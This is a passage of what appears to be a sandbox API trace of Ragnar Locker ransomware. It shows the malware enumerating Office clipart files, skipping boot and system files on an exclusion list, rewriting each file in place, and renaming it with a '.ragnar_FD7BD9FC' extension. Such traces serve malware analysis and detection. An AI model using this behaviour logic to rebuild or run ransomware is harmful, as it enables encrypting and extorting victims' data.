nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.545] VirtualAlloc (lpAddress=0x0, dwSize=0x2454, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.545] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.545] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.545] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2454, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2454, lpOverlapped=0x0) returned 1 [0082.546] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.546] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2454, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.546] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2454, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2454, lpOverlapped=0x0) returned 1 [0082.546] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2454, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.546] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.547] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.547] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.547] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.547] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.547] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.547] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.547] GetProcessHeap () returned 0x580000 [0082.547] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.547] CloseHandle (hObject=0xf4) returned 1 [0082.547] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" [0082.547] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.ragnar_FD7BD9FC" [0082.547] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.548] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf47e00, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cf47e00, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00685_.WMF", cAlternateFileName="")) returned 1 [0082.548] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.548] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00685_.WMF" | out: lpString1="HH00685_.WMF") returned="HH00685_.WMF" [0082.548] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned=".WMF" [0082.548] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.548] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="autorun.inf") returned 1 [0082.548] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="boot.ini") returned 1 [0082.548] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="bootfont.bin") returned 1 [0082.548] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="bootsect.bak") returned 1 [0082.548] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="bootmgr") returned 1 [0082.548] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="bootmgr.efi") returned 1 [0082.548] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.548] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="desktop.ini") returned 1 [0082.548] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="iconcache.db") returned -1 [0082.548] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="ntldr") returned -1 [0082.548] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="ntuser.dat") returned -1 [0082.548] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.548] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="ntuser.ini") returned -1 [0082.548] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="thumbs.db") returned -1 [0082.548] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.548] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.548] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.548] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.548] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.548] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.548] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x20 [0082.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.549] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4032) returned 1 [0082.549] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfb7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.549] GetProcessHeap () returned 0x580000 [0082.549] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.549] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.550] VirtualAlloc (lpAddress=0x0, dwSize=0xfc0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.550] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.550] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.550] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xfc0, lpOverlapped=0x0) returned 1 [0082.550] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.550] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfc0, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.551] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xfc0, lpOverlapped=0x0) returned 1 [0082.551] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfc0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.551] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.551] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.551] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.551] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.551] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.551] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.551] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.551] GetProcessHeap () returned 0x580000 [0082.551] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.551] CloseHandle (hObject=0xf4) returned 1 [0082.551] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" [0082.552] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.ragnar_FD7BD9FC" [0082.552] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.552] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c816800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9c816800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00687_.WMF", cAlternateFileName="")) returned 1 [0082.552] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.552] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00687_.WMF" | out: lpString1="HH00687_.WMF") returned="HH00687_.WMF" [0082.552] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned=".WMF" [0082.552] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.552] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="autorun.inf") returned 1 [0082.552] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="boot.ini") returned 1 [0082.552] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="bootfont.bin") returned 1 [0082.552] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="bootsect.bak") returned 1 [0082.552] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="bootmgr") returned 1 [0082.552] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="bootmgr.efi") returned 1 [0082.552] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.552] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="desktop.ini") returned 1 [0082.552] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="iconcache.db") returned -1 [0082.552] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="ntldr") returned -1 [0082.552] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="ntuser.dat") returned -1 [0082.553] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.553] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="ntuser.ini") returned -1 [0082.553] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="thumbs.db") returned -1 [0082.553] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.553] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.553] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.553] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.553] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.553] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.553] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x20 [0082.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.553] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4340) returned 1 [0082.553] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.553] GetProcessHeap () returned 0x580000 [0082.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.553] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.555] VirtualAlloc (lpAddress=0x0, dwSize=0x10f4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.555] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.555] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.555] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10f4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x10f4, lpOverlapped=0x0) returned 1 [0082.556] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.556] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.556] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10f4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x10f4, lpOverlapped=0x0) returned 1 [0082.556] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.556] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.556] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.556] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.556] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.556] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.557] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.557] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.557] GetProcessHeap () returned 0x580000 [0082.557] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.557] CloseHandle (hObject=0xf4) returned 1 [0082.557] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" [0082.557] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.ragnar_FD7BD9FC" [0082.557] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.557] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159db100, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x159db100, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x1bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00688_.WMF", cAlternateFileName="")) returned 1 [0082.557] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.557] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00688_.WMF" | out: lpString1="HH00688_.WMF") returned="HH00688_.WMF" [0082.557] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned=".WMF" [0082.557] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.557] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="autorun.inf") returned 1 [0082.558] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="boot.ini") returned 1 [0082.558] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="bootfont.bin") returned 1 [0082.558] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="bootsect.bak") returned 1 [0082.558] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="bootmgr") returned 1 [0082.558] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="bootmgr.efi") returned 1 [0082.558] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.558] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="desktop.ini") returned 1 [0082.558] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="iconcache.db") returned -1 [0082.558] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="ntldr") returned -1 [0082.558] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="ntuser.dat") returned -1 [0082.558] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.558] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="ntuser.ini") returned -1 [0082.558] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="thumbs.db") returned -1 [0082.558] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.558] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.558] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.558] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.558] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.558] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.558] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x20 [0082.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.558] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7084) returned 1 [0082.559] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ba3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.559] GetProcessHeap () returned 0x580000 [0082.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.559] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.560] VirtualAlloc (lpAddress=0x0, dwSize=0x1bac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.560] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.560] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.560] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1bac, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, 